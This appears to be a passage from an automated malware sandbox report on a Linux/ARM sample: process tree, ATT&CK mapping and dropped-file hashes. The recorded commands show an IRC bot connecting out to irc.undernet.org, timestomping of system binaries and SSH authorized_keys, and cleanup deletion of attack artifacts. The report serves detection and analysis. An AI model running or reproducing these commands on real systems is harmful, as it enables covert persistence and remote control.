      /usr/bin/ld -plugin /usr/lib/gcc/arm-linux-gnueabihf/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cck8CPyf.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -dynamic-linker /lib/ld-linux-armhf.so.3 -X "--hash-style=gnu" -m armelf_linux_eabi -pie -o /bin/clean /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/Scrt1.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crti.o /usr/lib/gcc/arm-linux-gnueabihf/6/crtbeginS.o -L/usr/lib/gcc/arm-linux-gnueabihf/6 -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../.. -L/lib/arm-linux-gnueabihf -L/usr/lib/arm-linux-gnueabihf /tmp/ccMTjopr.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/arm-linux-gnueabihf/6/crtendS.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crtn.o
      4⤵
      PID:818
- /usr/bin/perl
  perl bot plm.ftp.sh 1080 -bash
  2⤵
  - Changes its process name
  PID:824
- /usr/bin/perl
  perl bot irc.undernet.org 6667 -bash
  2⤵
  - Changes its process name
  PID:832
- /usr/bin/touch
  touch -d "Dec 1 2018" /root/.ssh /root/.ssh/authorized_keys /bin/bash /bin/bunzip2 /bin/busybox /bin/bzcat /bin/bzcmp /bin/bzdiff /bin/bzegrep /bin/bzexe /bin/bzfgrep /bin/bzgrep /bin/bzip2 /bin/bzip2recover /bin/bzless /bin/bzmore /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/chvt /bin/clean /bin/cls /bin/cp /bin/cpio /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/dumpkeys /bin/echo /bin/egrep /bin/false /bin/fgconsole /bin/fgrep /bin/findmnt /bin/fuser /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ip /bin/journalctl /bin/kbd_mode /bin/kill /bin/kmod /bin/ln /bin/loadkeys /bin/login /bin/loginctl /bin/ls /bin/lsblk /bin/lsmod /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mt /bin/mt-gnu /bin/mv /bin/nano /bin/networkctl /bin/nisdomainname /bin/open /bin/openvt /bin/pidof /bin/ping /bin/ping4 /bin/ping6 /bin/ps /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/rnano /bin/run-parts /bin/sed /bin/setfont /bin/setupcon /bin/sh /bin/sh.distrib /bin/sleep /bin/ss /bin/stty /bin/su /bin/sync /bin/systemctl /bin/systemd /bin/systemd-ask-password /bin/systemd-escape /bin/systemd-hwdb /bin/systemd-inhibit /bin/systemd-machine-id-setup /bin/systemd-notify /bin/systemd-sysusers /bin/systemd-tmpfiles /bin/systemd-tty-ask-password-agent /bin/tailf /bin/tar /bin/tempfile /bin/touch /bin/true /bin/udevadm /bin/umount /bin/uname /bin/uncompress /bin/unicode_start /bin/vdir /bin/wdctl /bin/which /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew /bin/.ssh/authorized_keys /bin /boot /dev /etc /home /lib /lost+found /media /mnt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var /sbin/agetty /sbin/audispd /sbin/auditctl /sbin/auditd /sbin/augenrules /sbin/aureport /sbin/ausearch /sbin/autrace /sbin/badblocks /sbin/blkdeactivate /sbin/blkdiscard /sbin/blkid /sbin/blockdev /sbin/bridge /sbin/cfdisk /sbin/chcpu /sbin/ctrlaltdel /sbin/debugfs /sbin/depmod /sbin/devlink /sbin/dhclient /sbin/dhclient-script /sbin/discover /sbin/discover-modprobe /sbin/discover-pkginstall /sbin/dmsetup /sbin/dmstats /sbin/dumpe2fs /sbin/e2fsck /sbin/e2image /sbin/e2label /sbin/e2undo /sbin/fdisk /sbin/findfs /sbin/fixfiles /sbin/fsck /sbin/fsck.cramfs /sbin/fsck.ext2 /sbin/fsck.ext3 /sbin/fsck.ext4 /sbin/fsck.minix /sbin/fsfreeze /sbin/fstab-decode /sbin/fstrim /sbin/getty /sbin/halt /sbin/hwclock /sbin/ifdown /sbin/ifquery /sbin/ifup /sbin/init /sbin/insmod /sbin/installkernel /sbin/ip /sbin/ip6tables /sbin/ip6tables-restore /sbin/ip6tables-save /sbin/iptables /sbin/iptables-restore /sbin/iptables-save /sbin/isosize /sbin/kbdrate /sbin/killall5 /sbin/ldconfig /sbin/load_policy /sbin/logsave /sbin/losetup /sbin/lsmod /sbin/mke2fs /sbin/mkfs /sbin/mkfs.bfs /sbin/mkfs.cramfs /sbin/mkfs.ext2 /sbin/mkfs.ext3 /sbin/mkfs.ext4 /sbin/mkfs.minix /sbin/mkhomedir_helper /sbin/mkswap /sbin/modinfo /sbin/modprobe /sbin/nologin /sbin/pam_tally /sbin/pam_tally2 /sbin/pivot_root /sbin/poweroff /sbin/raw /sbin/reboot /sbin/resize2fs /sbin/restorecon /sbin/restorecon_xattr /sbin/rmmod /sbin/rtacct /sbin/rtmon /sbin/runlevel /sbin/runuser /sbin/setfiles /sbin/sfdisk /sbin/shadowconfig /sbin/shutdown /sbin/start-stop-daemon /sbin/sulogin /sbin/swaplabel /sbin/swapoff /sbin/swapon /sbin/switch_root /sbin/sysctl /sbin/tc /sbin/telinit /sbin/tipc /sbin/tune2fs /sbin/udevadm /sbin/uid /sbin/unix_chkpwd /sbin/unix_update /sbin/wipefs /sbin/xtables-multi /sbin/zramctl
  2⤵
  - Adds new SSH keys
  - Writes file to system bin folder
  PID:841
- /bin/rm
  rm -rf a.c ".reboot*" a.c clean.c cls.c ping.c "scan*" distro go "go.tgz*" cls.c clean.c bot ping.c go "gs*"
  2⤵
  PID:842

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Hijack Execution Flow

T1574

Privilege Escalation

Hijack Execution Flow

T1574

Defense Evasion

Hijack Execution Flow

T1574

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/bin/.ssh/authorized_keys

Filesize
381B

MD5
fada28f9405c20320d0169f7549137da

SHA1
53f934539664a6e2c0ef06317b8518385e1272aa

SHA256
e962c1d303f7d1b24325d7e8165e7b3c157455c07d666af1a5bfce4e6bcb8640

SHA512
caf57f3fef4eccef88a83c74ec9b53ffffe52bfc6ba809957991beedebf581f427994a59bdec5cb9e5c9b361e6c646501f952d7941acc4ef90721f7bc6399784

Download Submit
/bin/clean

Filesize
23KB

MD5
5077d7f34484bd04fa678bab2fb5cb1b

SHA1
ba564bc70b298cd6d3dec00bb2cc5a13fdcbc7cf

SHA256
ed4a43245bea06d237f37a346a6e737070330b5e1709378037794ddd6460a01c

SHA512
246b292f5f2deea58825c3871ef8c5ed838465d0685f6b3dc6a737991206db9e8638837ce5db1df547b4a0c73b81ac4df68734856d68ef84a0387ed8e5050d77

Download Submit
/bin/cls

Filesize
17KB

MD5
0592448c69a963796044b08de9688f82

SHA1
5a10d5e6ff6037762df5cab411943432e32851c6

SHA256
237bed898e27d5117bdecd00962ab599b081c427b2ee3374a43e61b7880cd9ff

SHA512
64afb0a2ac1f83e25f9f5038270dc57dcb7136fd2a7d5fd7c3b8526f17a6177a1348d7b78c9a0a8e2540abac3c3ddf60ccf31aa7a3ccf188cdf150ae4ee20b3f

Download Submit
/bin/false

Filesize
725KB

MD5
c119e30e6cf65d40abec2ebdc4f1e9cb

SHA1
67fd5fdf3161a0c086932074844a8bbf444b8911

SHA256
6b66d1462c569b1fd6de35d4a4efc7dfbd8bfe59a20c9a17b506ac468abf098b

SHA512
2d8e1a6820e206e43c0449bbe4b613d19d63853270b3d0bdc5be12d4bcab89dcd4f5def8a81126d51984a9e8169526d1b44996a2c0a18bfb1d764040c865fe89

Download Submit
/bin/ping6

Filesize
8KB

MD5
4f814f8b5924e9b9173abcc080f95490

SHA1
661078ab611227a3c751dfdefce7f4d1409ddd36

SHA256
f692d200fcfca0b6ec37b36e96c326d3a7ceb86f9a6dfc64bae36c27385ee8f5

SHA512
eca019e4cc2b998daced1436b9d3a9b885359dd8235210b751f315883fd70d8cbcf424852ae037ea2f813aad17ec645934d762d28e9bcd51a7dfd00db61bdb17

Download Submit
/etc/group+

Filesize
705B

MD5
cf124b9edd110708e2b22b758ad0d835

SHA1
5d07eabc77d7f46283cea67ac8a89208956c3eaa

SHA256
5561a4c4229ed03e9a63526205ee0a8c9f012bd8bab8feef18126598ee3f1517

SHA512
076423cc2d6954d7ccfa1b70f75d4f137ceda38eeb8e69c79d146de2a307292b922145d2888b4794ec9e22584609d2d156975a286b0245307fcdc777c0d60512

Download Submit
/etc/group+

Filesize
709B

MD5
c6129bfd885a1213cd7ad471efb3ba74

SHA1
b5e523796bdab13a8fb71f7c5072df649709474b

SHA256
44c7c37e619aa264615e910cec3e6298267d531f8b2c94867984d931d38a11b3

SHA512
c9f090c2e271c7f7718ebb946ed0c80e789e6cae5755817626a0bfa1287bdbcfed80f5fd5e6b6fab428e7b1ae3f444fbd7e0781761917e14a651fddd7f5013d5

Download Submit
/etc/group+

Filesize
709B

MD5
3664f87017a0b2b4f44de7ce94eb3183

SHA1
db632c33abc29148c98cce40dc6832630e119ade

SHA256
9961a4fb30575425c404c804a99028e78f1799e8431fc27a7f9524e0322f480f

SHA512
097160bfc2d0e1450e30f03dd57551a02490ff0504d6aa49351155ec6491590cb86cdcba30d83c977a5f1c8b8410f07981c0fbf22b9cc218d1716220a9e9c02f

Download Submit
/etc/group+

Filesize
710B

MD5
8134414453b29650fed022b1f044a957

SHA1
ab208a413c77c085d1d9341f374c9b9378ae669a

SHA256
dc726a19a7f0e7617aa2d0f14aa28f29946e4c52e27a3c5c7f8d864374814481

SHA512
e495439100e866ac1fdc4f9b4cdd709120827f7e4b839cc48b0dd6b286c82c2eb2717d2fa430b61b1faeec3d3d0fcb30fb6d7481e7ccb14c49670dd496588760

Download Submit
/etc/gshadow+

Filesize
596B

MD5
af8cf26ed51defb6aa80306851dd077a

SHA1
c845c7e36b4a15775e1262871f117d2ee7b5b491

SHA256
986faa915f371052ac91bd5554394a13cb44e33100da9d9b3d383d9b795fdf77

SHA512
f0d9524f37742cba47f0efefb8c27218263bef7601b7b4f28163fed100d591513161d42da93d3c6937b1b092b69a5c8c1eda200911494afda1a3dbccac240bd6

Download Submit
/etc/gshadow+

Filesize
600B

MD5
3088263e37c5d364223b9bb481c7ccc8

SHA1
eee2afa05db3d5350e253cfecb556e7d537091ae

SHA256
4b5401c08792b55f5f4ee1745634e3667ff4b5387030b011f520d37aa2957fc2

SHA512
975fcc23a3bdd3b85869ba894e3bc7328388f36cb5b970fef3e4281b801bdd5e6ad344601685a53441b5b345df636562fe1193bd4fe872e2bd715dd622007574

Download Submit
/etc/gshadow+

Filesize
600B

MD5
662e6170cb98f29772ee0fde60c9509a

SHA1
8e4b8a670a18f21a7b05235705dc28b24f375885

SHA256
ea97056485a501aef2ac1cf3b893cb30d9ad222b4cb923ffe61c2dbbcd877077

SHA512
b8a1430b23cb6e10c9b8a1b596f9e46423eaff45325e48f8f718cde1f97c92d11e78078d0ae93f15d8fa32710587eac025ae082ca3ac1959735ff432c1c7037e

Download Submit
/etc/gshadow+

Filesize
601B

MD5
909b1e747f3a72366b47e8ee9a7df8a7

SHA1
d23a0e105296de3412a2756c8fcbe5388585d000

SHA256
d17257c2509ba1157f96409407bb659b6e55717782c1c1445d372d295c022cd4

SHA512
f8461b4d0f989a6cb792e4566b8895a4305a32ad9324784bab7a102a3799dc03355ed538bf1e611d8040ce3e8e59bdc41f43474ab7afe6dabb1bd9cdeb5f2428

Download Submit
/tmp/ccLJUZja.s

Filesize
42KB

MD5
2b52a2b398394e9c041457972d368f52

SHA1
1f072b4931fba33c7eaa98fac994d31c8fc5188f

SHA256
c37d21b8c38cbe97209266992f56082e286ed003e36107fb401017842b2ce478

SHA512
e089e9dd24538b44027be50a9142275b4fa69c21de2a82d2ad09ef7606b9ad376d375980479cb16a1346753cf939ef6a438ae3fd1c79c21ac2e8a1b03992fac9

Download Submit
/tmp/ccMTjopr.o

Filesize
15KB

MD5
951e3d31b93c34b49346fd1d68a393e1

SHA1
0b7a2fa23df5062f9cbcd917f95b34a0a4d94918

SHA256
1ae25ee450c96ea49bb6314c72f96997e4d8fea770ad6150a56dfbb68509a22e

SHA512
0721b706b1e815919b80ffd5171d69f37d179ac0975489a56fc2c46621d57877c3d2af18d70980e84ed8bf5b1e05a80fea6872f978f7ce8f67468b1e1e536aa7

Download Submit
/tmp/ccNomLX7.o

Filesize
1KB

MD5
79d58cfa319dff126f39f5e4509806db

SHA1
0d1a4ac5276591226df26646aa48d2c7064ec217

SHA256
312430f422b00d02a227627e980f9550e198491ef775cde5825d7b8e3d46a4da

SHA512
0384a9a4e8639cf392d0860d057230c8dcde6f8796022be766b68231a90b01049460504034a07c60b0b10f890361655eacc561165bd9bd639822883371af6cac

Download Submit
/tmp/ccQi3443.s

Filesize
98KB

MD5
6bb33cb9c76015e2ecddc386d432b27c

SHA1
65b7a129022ef1ee1f07b783636c52c9ffa44c86

SHA256
aeb5fcc27009e74b00416dddc1c539f8992247fcf633a295c625f73ed7a17151

SHA512
819f81be955fe2866ecac79bd01fba6c9def2728bfc9f3c3fbc2a74b923e3afbe50518253f1879e8cd299687b6019fb1dcfa599d6c30e87540f9f053af69a172

Download Submit
/tmp/ccTndyBb.o

Filesize
25KB

MD5
f2d283bd2b3bb7a0c53fcef145ca4bbe

SHA1
58839fce937da7f9cfabb88e30fd5258e7814cde

SHA256
f2a50d4c6f75569154a5f8f5fca649d1f46ec1e8db8eab7af8f6e9834c4f1746

SHA512
35227b4a69f92018eef2de0c9f08148993616919e0585e315d97f117ed36e487ce2af176e1bbda3419bdb4f45d201823f1ea9c0d407682d0519f32425aebe811

Download Submit
/tmp/ccV0hqiA.s

Filesize
977B

MD5
cd4f612351cddc09d83bb620475703eb

SHA1
530d7438f7d75b4a2bbfa7eb0fa6fc1df49fc463

SHA256
95830512ffe03ae537a0b60821b28b0991db3aad4b38a6846995f74680450931

SHA512
f6c5b8359e7799d71a5a377e8766eb13e09c3ab756ddd9a671f6fe198ee10bc1e3fdf1565326866d1a3aee64327e9f4f6a66b69db8e64d566e6e17b2fdb061a4

Download Submit
/tmp/ccso4OJq.s

Filesize
53KB

MD5
b6057f5ab0be8325b85dc09e8c6544c3

SHA1
3dca2955197317777ee36fdce05f4e3f0e14fb3b

SHA256
e98d82012834adc06383fbef6216f3bcd9c0a8dd77353917ed285f25c16b9145

SHA512
3f01b787699d0d99d2e7ad8186f9dd9ba2cdfbecb47315698b7e6057a01cc837822c0f7b80f6941754fb97c8f7d866e2532a885f9c3ee80eb0052df927ffce49

Download Submit
/tmp/ccxSisZM.o

Filesize
13KB

MD5
270840a13c6bc23586d7c64444c0fdc3

SHA1
c33ebad9facd8fb91c039860183a49d62dfde396

SHA256
5a841c64d44a1fde6ba09acb112f0b20910a9cf434f09633f7f5622c3d593ba3

SHA512
fb83ab051bb6136d6517bf1da97fd71ce7a2f66b3442f1fb873f1414c78a10570c47ea733a3fa5358a6181eb4000384277a9d8e1d6f3d16ae30c617d58babb0b

Download Submit
/usr/games/.ssh/authorized_keys

Filesize
795B

MD5
26f20c8e96ec511ff861615eb5b22f64

SHA1
656368aaa7097b7c1f690776bc2a03ae70430fa0

SHA256
f758bb63549189d353679bb8dd5644752935a2888e5991191fbeeeb0e6ead4a4

SHA512
77084bfa26db512d53633da8c323c2403b7f3cd58cdc72f3c39678a5686a078bebf30cb6849b3aa5bd22c5290065ba9b6fe92e3d3e44a8bd6927515fa46ae278

Download Submit
/usr/share/man/man1/kwk

Filesize
32KB

MD5
9f137a470c0906abf50f67942d70c683

SHA1
566ca549f1e1db0780bbe87f920ee465ca06b1fc

SHA256
2539b905797ee5424600a5e0f7043fbae529fda7fc39d253e31d42667b460a98

SHA512
b0b9c01da986e67423e3842e07f26f986cbe58637f8ae8993e09fd1ec43432ca275923aedfa4585ffc2880753a31f22fed6d1200d10024154d563ba60087e20e

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads